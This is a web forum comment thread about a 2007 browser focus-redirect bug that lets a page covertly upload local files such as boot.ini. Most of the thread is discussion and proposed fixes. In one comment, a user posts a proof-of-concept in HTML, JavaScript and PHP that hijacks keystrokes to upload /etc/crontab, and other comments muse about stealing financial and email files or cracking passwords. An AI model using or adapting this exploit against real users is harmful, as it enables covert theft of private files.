Removing the path is a "security through obscurity" solution that would impose an inconvienince on the people who create/edit/review documentation and would increase the risk of corrupt documentation (ie: lost update syndrome).

OTOH: I'm sure there are cases where "burning" is demanded because "shreading" is considered too risky, but I rather think they would be the exception rather than the rule.

I thought this was fixed ?

[smoker2]

This was news a while ago, but there have been more since then, all of which are fixed in the latest update of Firefox (AFAIK).
The Reg carried this story yesterday. I don't know if IE7 is fixed yet, but I had an auto update to Firefox (2.0.0.2), 3 days ago.

Re:Offtopic rant

[Macthorpe]

Furthermore, words change in meaning over time

This is patently false. This conversation is very nice, so I'm going to go and play a gay game, get a cool drink, watch a counterfeit video and get some truly bad snack food.

Sand boxing ?

[DrYak]

Maybe the sand boxing is better and Firefox/Linux refuses that script have access to file that wheren't selected with a choose box ?

Doesn't work here

[Arancaytar]

Windows XP Pro, SP2. Running Firefox 2.0.0.2.

It does catch the first "c" I type, but it stops after that - colons aren't caught.

Two theories:

  1 - One of my numerous Firefox extensions is interfering with the Javascript
  2 - I'm using a German "kezboard". Colons are in a different place. Now off to check if my uppercase "Ö" gets captured...

Re:Doesn't work here

[rs232]

Doesn't work with Firefox 2.0.0.1 with noscript. Allowing the site and it can't read boot.ini as I'm logged in as standard user.

Re:Doesn't work here

[[ella]]

I'm using a Belgian keyboard, and it doesn't work either. With pipes, backslashes and other goodies, scriptkiddies will really have a fun time developing exploits!

Re:Doesn't work here

[Arancaytar]

I'd like to see an alternative demo that could capture a file specified in advance - since this "C:\boot.ini" obviously is far too platform/permissions dependent to really demonstrate the flaw...

QUERTZ keyboard not affected

[Arancaytar]

I switched to a US keyboard map, and was able to enter my boot.ini path (although of course I don't have read access to it, so it doesn't matter anyway).

With the German key map (QUERTZ), it doesn't work. Neither 'Ö' not ':' are recognized by the page. Interesting.

Re:Offtopic rant

[julesh]

I abhor the use of the word "enjoy" in the media and by marketing people in particular. Form fields may *have* protection; they do not *enjoy* protection because they aren't fucking conscious. And nobody enjoys, say, the protection of car insurance. I don't sit at home feeling all warm and fuzzy because I've just taken out some policy.

Seeing this in tech news just shows how much this has spread. I no longer want to use the word enjoy at all because every time I hear it, I am reminded of this usage and feel a twinge of annoyance.

I want my English language back from these idiots!

Online Etymology Dictionary
enjoy
c.1380, [...] Sense of "have the use or benefit of" first recorded c.1430. [...]

Online Etymology Dictionary, © 2001 Douglas Harper (Link)

You'll have to go a long way back to claim this one.

Works on FireFox under Linux

[smiggly]

It just takes a few changes. Try this:

http://www.thanhngan.org/fflinuxversion.html

Re:Works on FireFox under Linux

[junglee_iitk]

I couldn't test it because as soon as I press "/", quick find dialog box opens up.

I am using Firefox 3.0 cvs

Re:Offtopic rant

[Dystopian Rebel]

the media and by marketing people in particular [...]
I want my English language back from these idiots

You have to realize how ridiculous these people are. They babble for a living.

I must warn you that I have heard marketing people talking about their "Spider Sense tingling" and needing to "ping" colleagues for information.

"Your language" has been and always will be hostage to idiots. If you want to feel more secure, I suggest that you change your language from English to C. The C compiler is much stricter.

it's a POC

[Launch]

for everyone out there who has commented that ooooo it doesn't work on my non-admin account, ooo I lock down access to my boot.ini (listen if you really want my boot.ini, email me, I'll send it to you), oooo I run linux.

It's a proof of concept about a focus redirect exploit (bug? that's a misnomar). The example itself (displaying boot.ini) is not the exploit, the exploit is the hijacking of selective typed text in one textbox and applying it to another. The application of this exploit could be much different than displayed in this example.

NoScript stops it

[140Mandak262Jamuna]

First time I tried, it did not work. Then I disabled NoScript to give permission to that site, then it workd, it showed me my c:\boot.ini. Since I permit only very few trusted sites to execute scripts in my work machine I am safe here. But the common use laptop in my home would be vulnerable. Stil it is only unauthorized snooping of my files. Not as bad as drive by downloads or system modifications.

Wrap it up!

[loconet]

And that kids, is what happens when you don't use condoms. Firefox should have known better.

The race is on!

[the-matt-mobile]

It will not only be very interesting to see who releases a patch first, but also by what margin.

IE7, Firefox2, Opera9, Konqueror and Safari

[Vexorian]

IE7, Firefox2, Opera9, Konqueror and Safari share a vulnerability: Javascript.

Of Course They Do!

[Crystalmonkey]

It's called Windows!

IP violation

[darth_linux]

Firefox obviously violates M$ IP if there is a shared venerability.

Re:IP violation

[Tim C]

Unless it's an unintended consequence of one (or more) of the relevant specs, or it's in a third-party library that both browsers happen to use.

With all these FireFox vulnerabilities...

[QuietLagoon]

... I can not but wonder why FireFox is considered to be a secure browser. It seems to have more security issues than IE lately. Is the underlying code quality of FireFox that bad?

Re:With all these FireFox vulnerabilities...

[ImTheDarkcyde]

exactly, i mean, not to sound like flamebait, but you think people would have moved on to Opera by now, but yet it still remains LARGELY ignored (how often do you hear about opera vunerabilities?)

Re:With all these FireFox vulnerabilities...

[dvice_null]

> I can not but wonder why FireFox is considered to be a secure browser. It seems to have more security issues than IE lately

0. "seems to have" doesn't sound very scientific proof.

1. Each security bug in Firefox is revealed and count as one, in IE not all are revealed (mostly only if they are public already) and often several have been counted as one by Microsoft. And most like Microsoft is not the only one. Opera didn't reveal the security bug it fixed untill a long time after the version had been released, perhaps under the pressure of the person who found it. Most likely all closed source software vendors hide a lot of details from the customers. In open source world you can't do this, because every patch you make is public and in the case of Firefox, viewed by several different people.

2. Even with the situation mentioned in 1), Firefox has less critical security issues than IE. Of course it is fun to count the total amount of security bugs, but which matters more to you. 1 bug that allows attacker to steal all your data and install your computer full of viruses, or 10 bugs that allow attacker to change the background of the webpage without your permission?

3. Repair times for severe bugs are a lot faster than they are for IE.

4. I still have not seen a single news about using a security bug in Firefox to infect user's computer. IE on the other hand has had a lot of these news. So either there are not severe bugs enough to be used or the users of Firefox are simply not attractive for the attackers.

Just because of the 4) it doesn't matter what browser you use and you are safe, unless it is IE. Sure it can change when Firefox gets more popular (I hear this a lot.). But it's market share has increased a lot and we are still waiting this to happen. Apache is also a market leader and it doesn't seem to have much problems either. Perhaps open source is just better.

And the name is Firefox, only first letter is in upper case.

Re:With all these FireFox vulnerabilities...

[QuietLagoon]

They need to change the default settings if they want to get more users.

That is 100% correct. Opera default settings result in a screen that is way too cluttered and complex. The default settings should result in a very simple screen for browsing. Then let the users complicate things if they want to. The users who are capable of handling the extra complexity will find the configuration adjustments, and tailor the user interface to their needs very quickly.

You don't know how many times I have seen people stop using Opera because the default settings are bad.

Re:With all these FireFox vulnerabilities...

[QuietLagoon]

It's closed source, meaning that it might be as bad as IE and we just don't know.

I do not buy into the oft cited concept that closed source is less secure. Look at Sendmail, look at Firefox. Both are rife with security issues, and both are open source.

Security 'sploits are the result of poor programming, not closed source.

Re:Offtopic rant

[Cthefuture]

anthropomorphize
Main Entry: anthropomorphize
Function: verb
Inflected Form(s): -phized; -phizing
transitive verb : to attribute human form or personality to
intransitive verb : to attribute human form or personality to things not human

Minefield

[bhamlin]

It didn't work for me on Firefox 3.0a3, so I guess there's a good reason to be on the bleeding edge. :D

That's mostly right, actually

[Anonymous Coward]

To do something useful with the exploit, the attacker needs to know the name and location of a desired file, and the browser has to be permitted to upload (read) the file. Obviously one dramatic way to use the information gained is to hack the victim's system. Most OSes, properly configured, don't let ordinary users (or their browsers) read critical system files, but Windows does.

Even on better-designed OSs, though, the exploit has uses for espionage and spam. People tend to put data files in predictable places, using predictable names. With a little luck or a large pool of visitors you can get financial information from QuickBooks, personal info (and valid email adresses) from Outlook contact books, business information from powerpoint documents stored in My Documents, or the complete set of somebody's recent email correspondence.

The focus-diversion technique sounds awkward at first, but I've been thinking of ways to make it more reliable without the user getting suspicious (eg, trick them into typing several backslashes in between other text) - and if I can think of them, others can too.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Detection seems a bit random

[RockMFR]

It worked for me (Firefox 1.5.0.9, XP), but I had to retype it a few times as it didn't always detect the keystrokes. Though, I'm sure there are many ways to implement this type of attack. Hopefully the devs won't just patch this particular vector.

wtf?

[rainman_bc]

So the user takes the form and positions it off screen where the input type="file" tag is.

The real problem lies in that it is there, just not visible in the browser.

I can accept that. The key is style="position: absolute; left: -500px;...

And then the div tag's style: style="position: absolute; left: 510px;... that takes the form and puts it back to pop

Then the dev closes the div tag and places the file field to the left.

Clever. But there is some security in obscurity. Knowing which files to grab that are of real use... I suppose grabbing someone's registry could yield something interesting about the user, and then parsing through it to find relevant keys and then using another form to get something of real value would be about the most useful thing you can do...

I think it's really sweet

[Maxo-Texas]

That both browsers are mature enough to share.

Hack of a Work-Around

[Perfectstar]

This vulnerability isn't present when viewing the infected page from IETab/IEView in Firefox 2.0.0.9. Can anyone explain why that is?

I've used it for years!

[the_greywolf]

I don't really see how this is an "exploit," since it seems to require user intervention. But in any case, I've been doing this using VBA with IE to automatically fill out file upload fields - for years.

I know, I should have used Curl or something back then, but it was Access VBA. Don't blame me!

The real "fix," though, would be to remove the text box entirely and just have a browse button.

Re:Please enter this captcha..

[neomunk]

Just to let you know, hacking (cracking actually, but I'm playing to a demographic) doesn't always have to involve flying through spirally fractal-ish datastructures looking for files that might have something to do with a virus that floods supertankers while singing "Row-Row-Row Your Boat".

If you've been following along with the comments at all you'd realize that being able to read certain files (depending on OS and security implemented) will make an attempted intrusion much easier, for a slew of reasons.

In some (hopefully rare) cases you'll be able to get a list of encrypted passwords attached to their usernames. Run your preferred cracking program, on your own home computer, on your own time and after a while you'll be able to walk in the front door using the house keys.

Okay, what if you can't get passwords, because they've denied you that (shadowing), you might still be able to get a list of logins that WILL work if the box is bruteforced (like trying every combination on a lock, starting with the common ones first) by seeing which users can SSH in. Even better would be someone getting ahold of your private encryption keys.

Don't get me started on what fun files you could grab in Windows, running as Admin... Hell, even running limited, wouldn't it suck to have someone grab your quickbooks data file?

Linux code

[DrYak]

At the end of this post, the PHP code for a Linux version (whitch uploads crontab).
- The key pressing timing is absolutely critical. Too slow or too fast and everything breaks. Appart from a captcha, I don't see what input would have the correct pace not to go noticed. The exploit can't just stay around waiting while users type the needed keys in a chat windows, because the keypress pace won't be optimal and both the exploit will get out-of sync and won't capture the output it needs, and the chat window is disturbed and shows abnormal input.
- "Session Plugin" and similar plugins that can keep the content of form between reloads completly breaks it, causing the exploit loose sync.
- Focus-controlling methods (either disabling javascript focus() in about:config settings, or anti-SPAM plugins) just make void the whole purpose of the exploit.
- Konqueror isn't affected by this (IE version copies the FULL text from the input field, FFversion doesn't copy anything) and, anyway, always open a dialog box with list of uploaded files before proceeding.
- AFAIK, Safari doesn't have a file input field at all, the only way to select a file is to open a file chooser box and then type/select file in that box. So It isn't affected either.

Possible &#167;lutions :
- Go for the "Vista UAC"-like user annoying method and add a "This are the file you'll be uploading" box (like Konqueror's). And hope user won't start automatically clic on OK whatever happens.
- Completly remove the input field. Leave only a button and, optionaly a status line indicating the last file selected in the chooser. Let the user type what he want is the chooser box, if he wants to go for the keyboard solution. I thinks that's the most sensible way. Leaving a sensitive point (selection of file to upload) in the page itself (and therefor under the control of the page) and then subsequently write special case hacks to patch each exploitable bug that gets discovered is stupid to begin with.
- Ignore the problem because it's rather hard to reproduce. (But that's realy lazy).

On-line :
http://www.sympato.ch/~dryak/test-bug

Modified Code (based on bugtraq's original) :
<html>
<head><title>Firefox focus bug on Linux</title></head>
<body style="overflow: hidden">
<script>
var do_nothing = 0;
var needstr = [ 111, 69, 84, 67, 111, 67, 82, 79, 78, 84, 65, 66 ];
var curat = 0;

function divert_focus(e) {
var evt = window.event ? event : e;
var cc = evt.charCode ? evt.charCode : evt.keyCode; //if (cc) alert(cc);
if (needstr[curat] == cc) {
do_nothing = 0;
document.getElementById("foo2").focus();
} else do_nothing = 1;
}

function restore_focus() {
if (!do_nothing) {
document.getElementById("foo1").value = document.getElementById("foo1").value +
document.getElementById("foo2").value.charAt(curat );
if (++curat == 12) document.getElementById("foo3").click();
document.getElementById("foo1").focus();
do_nothing = 1;
}
document.getElementById('pdiv').innerHTML = document.getElementById('foo2').value;
}

</script>
<pre>
<?php if ($_POST['foo1']) {
print "Text :\n${_POST['foo1']}\n";
print "Filename :\t" . $_FILES['foo2']['name'] . "\n";
print "Filesize :\t" . $_FILES['foo2']['size'] . " bytes\n";
print "Filetype :\t" . $_FILES['foo2']['type'] . "\n";
print "uploaded :\t" . $_FILES['

Re:Offtopic rant

[julesh]

Your point? I know perfectly well what "anthropomorphize" means (although I usually spell it with an s, rather than a z).

The point is that no anthropomorphisation is taking place in sentences like "the house enjoys views across the river" or whatever, because "enjoy" doesn't only refer to the human emotion, but has additional meanings also, which have existed for nearly 6 centuries. They may have been anthropomorphic then; they aren't any more.

Re:IE7 Vista

[kheldorin]

It didn't display anything for me. Running on admin account with read permission to c:\boot.ini.

Really Needs a Proper Fix

[magixman]

That exploit really is instructive. There is simply no end to the creativity of the hacker.

Maybe we can finally dispense with the whole clunky two-step file upload. I mean who ever actually types a file name into the file upload field. You press the browse button to populate the field and then hit submit. Smart sites actually script it to one step by doing a submit off an onchange event in the file field. There really is no need to ever present a field to start with and it is just an accident waiting to happen. The upload should be one step that cannot be "messed" with.